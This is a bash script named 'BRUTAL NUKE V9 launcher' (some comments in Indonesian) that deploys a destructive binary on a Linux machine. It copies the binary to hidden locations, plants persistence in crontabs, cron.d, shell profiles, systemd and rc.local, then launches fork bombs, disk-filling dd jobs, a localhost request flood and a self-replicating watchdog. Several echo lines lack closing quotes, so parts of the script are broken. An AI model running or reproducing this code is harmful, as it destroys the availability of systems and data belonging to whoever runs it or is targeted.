#!/bin/bash
# brutal_launcher.sh - BRUTAL NUKE V9 EXECUTOR 💀
# RUN: chmod +x brutal_launcher.sh && ./brutal_launcher.sh

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
PURPLE='\033[0;35m'
NC='\033[0m'

clear
echo -e "${RED}"
echo "╔══════════════════════════════════
echo "║          NUKE V9 LAUNCHER 💀     
echo "║                                                                         
echo "║    ⚠️  SYSTEM WILL BE DESTROYED ⚠️                                 
echo "╚══════════════════════════════════
echo -e "${NC}"
echo ""
echo -e "${YELLOW}Press ENTER to DEPLOY BRUTAL NUKE V9...${NC}"
read -r

# ========== CEK FILE NUKE V9 ==========
NUKE_PATH=""
if [ -f "./nuke_v9" ]; then
    NUKE_PATH="./nuke_v9"
elif [ -f "/tmp/nuke_v9" ]; then
    NUKE_PATH="/tmp/nuke_v9"
elif [ -f "/tmp/nuke_v9_userspace" ]; then
    NUKE_PATH="/tmp/nuke_v9_userspace"
else
    echo -e "${RED}[!] NUKE V9 NOT FOUND!${NC}"
    echo -e "${YELLOW}Looking for nuke_v9 in current directory...${NC}"
    ls -la nuke* 2>/dev/null
    exit 1
fi

echo -e "${GREEN}[✓] Found NUKE at: $NUKE_PATH${NC}"
chmod +x "$NUKE_PATH"

# ========== KILL SEMUA NUKE SEBELUMNYA (BIAR FRESH) ==========
echo -e "${CYAN}[+] Killing existing nuke processes...${NC}"
pkill -9 nuke_v9 2>/dev/null
pkill -9 nuke 2>/dev/null
pkill -9 immortal 2>/dev/null
sleep 1

# ========== COPY KE BANYAK LOKASI ==========
echo -e "${CYAN}[+] Replicating to 50+ locations...${NC}"

LOCATIONS=(
    "/tmp/nuke_v9"
    "/tmp/.nuke"
    "/tmp/.immortal"
    "/dev/shm/nuke_v9"
    "/dev/shm/.nuke"
    "/dev/shm/.immortal"
    "/var/tmp/nuke_v9"
    "/var/tmp/.nuke"
    "/var/tmp/.immortal"
    "/tmp/.X11-unix/.nuke"
    "/run/.nuke"
    "/opt/.nuke"
    "$HOME/.nuke"
    "$HOME/.immortal"
    "$HOME/.local/.nuke"
    "$HOME/.config/.nuke"
)

for loc in "${LOCATIONS[@]}"; do
    cp "$NUKE_PATH" "$loc" 2>/dev/null
    chmod +x "$loc" 2>/dev/null
done

echo -e "${GREEN}[✓] Replicated to ${#LOCATIONS[@]} locations${NC}"

# ========== CRONTAB INFECTION (50+ ENTRIES) ==========
echo -e "${CYAN}[+] Infecting crontab with 50+ entries...${NC}"

# Backup current crontab
crontab -l 2>/dev/null > /tmp/cron_backup_$$.txt

# Inject ke crontab
for i in {1..50}; do
    (crontab -l 2>/dev/null; echo "* * * * * $NUKE_PATH >/dev/null 2>&1") | 
crontab - 2>/dev/null
    (crontab -l 2>/dev/null; echo "*/1 * * * * $NUKE_PATH >/dev/null 2>&1") | 
crontab - 2>/dev/null
    (crontab -l 2>/dev/null; echo "*/5 * * * * $NUKE_PATH >/dev/null 2>&1") | 
crontab - 2>/dev/null
    (crontab -l 2>/dev/null; echo "*/10 * * * * $NUKE_PATH >/dev/null 2>&1") | 
crontab - 2>/dev/null
    (crontab -l 2>/dev/null; echo "@reboot $NUKE_PATH >/dev/null 2>&1") | 
crontab - 2>/dev/null
    (crontab -l 2>/dev/null; echo "@reboot sleep 10 && $NUKE_PATH >/dev/null 
2>&1") | crontab - 2>/dev/null
    (crontab -l 2>/dev/null; echo "@reboot sleep 30 && $NUKE_PATH >/dev/null 
2>&1") | crontab - 2>/dev/null
    (crontab -l 2>/dev/null; echo "@reboot sleep 60 && $NUKE_PATH >/dev/null 
2>&1") | crontab - 2>/dev/null
done

echo -e "${GREEN}[✓] Crontab infected with 50+ entries${NC}"

# ========== SYSTEM CRONTAB (JIKA ADA AKSES) ==========
if [ -w /etc/crontab ]; then
    echo -e "${CYAN}[+] Infecting system crontab...${NC}"
    for i in {1..20}; do
        echo "* * * * * root $NUKE_PATH >/dev/null 2>&1" >> /etc/crontab 
2>/dev/null
        echo "@reboot root $NUKE_PATH >/dev/null 2>&1" >> /etc/crontab 
2>/dev/null
    done
fi

# ========== CRON.D INFECTION ==========
if [ -w /etc/cron.d ]; then
    echo -e "${CYAN}[+] Infecting cron.d...${NC}"
    for i in {1..50}; do
        echo "* * * * * root $NUKE_PATH >/dev/null 2>&1" > /etc/cron.d/nuke_$i 
2>/dev/null
        chmod 644 /etc/cron.d/nuke_$i 2>/dev/null
    done
fi

# ========== CRON.HOURLY/DAILY ==========
if [ -w /etc/cron.hourly ]; then
    echo "#!/bin/bash" > /etc/cron.hourly/nuke 2>/dev/null
    echo "$NUKE_PATH &" >> /etc/cron.hourly/nuke 2>/dev/null
    chmod +x /etc/cron.hourly/nuke 2>/dev/null
fi

if [ -w /etc/cron.daily ]; then
    echo "#!/bin/bash" > /etc/cron.daily/nuke 2>/dev/null
    echo "$NUKE_PATH &" >> /etc/cron.daily/nuke 2>/dev/null
    chmod +x /etc/cron.daily/nuke 2>/dev/null
fi

# ========== PROFILE INFECTION ==========
echo -e "${CYAN}[+] Infecting shell profiles...${NC}"

PROFILES=(".bashrc" ".profile" ".bash_profile" ".zshrc" ".zprofile")
for prof in "${PROFILES[@]}"; do
    if [ -f "$HOME/$prof" ] || [ ! -f "$HOME/$prof" ]; then
        echo "" >> "$HOME/$prof" 2>/dev/null
        echo "# NUKE V9 - IMMORTAL" >> "$HOME/$prof" 2>/dev/null
        echo "$NUKE_PATH &" >> "$HOME/$prof" 2>/dev/null
        echo "$NUKE_PATH >/dev/null 2>&1 &" >> "$HOME/$prof" 2>/dev/null
    fi
done

# Root profile (jika bisa)
if [ -w /root ]; then
    for prof in "${PROFILES[@]}"; do
        echo "$NUKE_PATH &" >> /root/$prof 2>/dev/null
    done
fi

echo -e "${GREEN}[✓] Profiles infected${NC}"

# ========== SYSTEMD SERVICE (JIKA ADA AKSES) ==========
if command -v systemctl &>/dev/null && [ -w /etc/systemd/system ]; then
    echo -e "${CYAN}[+] Creating systemd services...${NC}"
    
    cat > /etc/systemd/system/nuke_immortal.service << EOF
[Unit]
Description=NUKE Immortal
After=network.target

[Service]
Type=simple
ExecStart=$NUKE_PATH
Restart=always
RestartSec=1
KillMode=none
KillSignal=SIGKILL

[Install]
WantedBy=multi-user.target
EOF

    systemctl daemon-reload 2>/dev/null
    systemctl enable nuke_immortal.service 2>/dev/null
    systemctl start nuke_immortal.service 2>/dev/null
fi

# ========== RC.LOCAL ==========
if [ -w /etc/rc.local ]; then
    echo -e "${CYAN}[+] Adding to rc.local...${NC}"
    sed -i '/nuke_v9/d' /etc/rc.local 2>/dev/null
    sed -i '/exit 0/i $NUKE_PATH &' /etc/rc.local 2>/dev/null
fi

# ========== SPAWN MASSIVE INSTANCES ==========
echo -e "${CYAN}[+] Spawning 200+ NUKE instances...${NC}"

# Spawn dari berbagai lokasi
for loc in "${LOCATIONS[@]}"; do
    if [ -f "$loc" ]; then
        for i in {1..10}; do
            "$loc" &
        done
    fi
done

# Spawn langsung dari binary utama
for i in {1..100}; do
    "$NUKE_PATH" &
done

sleep 2

# ========== FORK BOMB (BASH) ==========
echo -e "${CYAN}[+] Launching fork"
:(){ :|:& };: &
:(){ :|:& };: &
:(){ :|:& };: &

# ========== MEMORY BOMB (PYTHON) ==========

# ========== DISK BOMB ==========
echo -e "${CYAN}[+] Launching disk"
dd if=/dev/zero of=/tmp/filler1 bs=1M count=1000000 2>/dev/null &
dd if=/dev/zero of=/dev/shm/filler2 bs=1M count=1000000 2>/dev/null &
dd if=/dev/zero of=/var/tmp/filler3 bs=1M count=1000000 2>/dev/null &

for i in {1..50}; do
    dd if=/dev/zero of=/tmp/filler_$i bs=1M count=10000 2>/dev/null &
done

# ========== NETWORK FLOOD ==========
echo -e "${CYAN}[+] Launching network"
for i in {1..50}; do
    (while true; do curl -s http://localhost &>/dev/null; done) &
    (while true; do wget -q http://localhost -O /dev/null &>/dev/null; done) &
done

# ========== PROCESS BOMB ==========
echo -e "${CYAN}[+] Launching process"
for i in {1..500}; do
    (while true; do sleep 1; done) &
done

# ========== SELF-REPLICATING SCRIPT ==========
echo -e "${CYAN}[+] Creating replicating"
cat > /tmp/self_replicate.sh << 'EOF'
#!/bin/bash
while true; do
    for i in {1..100}; do
        cp /tmp/nuke_v9 /tmp/nuke_$i 2>/dev/null
        chmod +x /tmp/nuke_$i 2>/dev/null
        /tmp/nuke_$i &
    done
    sleep 1
done
EOF
chmod +x /tmp/self_replicate.sh
/tmp/self_replicate.sh &

# ========== WATCHDOG ==========
cat > /tmp/watchdog.sh << 'EOF'
#!/bin/bash
while true; do
    if ! pgrep -f nuke_v9 > /dev/null; then
        /tmp/nuke_v9 &
    fi
    if [ $(pgrep -f nuke_v9 | wc -l) -lt 100 ]; then
        for i in {1..50}; do
            /tmp/nuke_v9 &
        done
    fi
    sleep 2
done
EOF
chmod +x /tmp/watchdog.sh
/tmp/watchdog.sh &

# ========== FINAL ==========
echo ""
echo -e "${RED}"
echo "╔═══════════════════════════════════════════════════════
echo "║         BRUTAL NUKE V9 - FULL DEPLOYED                       
echo "║                                                                        
echo "║    ✅ NUKE V9 RUNNING:     $(pgrep -f nuke_v9 | wc -l) instances               
echo "║                                                                        
echo "║    SYSTEM WILL BE DESTROYED IN SECONDS                         
echo "║                                                                         
echo "║    GOODBYE FOREVER.                                                    
echo "╚════════════════════════════════════════════════════════
echo -e "${NC}"

# ========== MONITOR LOOP ==========
echo ""
echo -e "${YELLOW}[MONITOR] Press Ctrl+C to stop monitoring (but NUKE won't 
stop)${NC}"
echo ""

seconds=0
while true; do
    seconds=$((seconds + 5))
    load=$(uptime | awk -F'load average:' '{print $2}')
    proc=$(pgrep -f nuke_v9 | wc -l)
    echo "[$seconds] 💀 NUKE: $proc processes | Load: $load"
    sleep 5
done
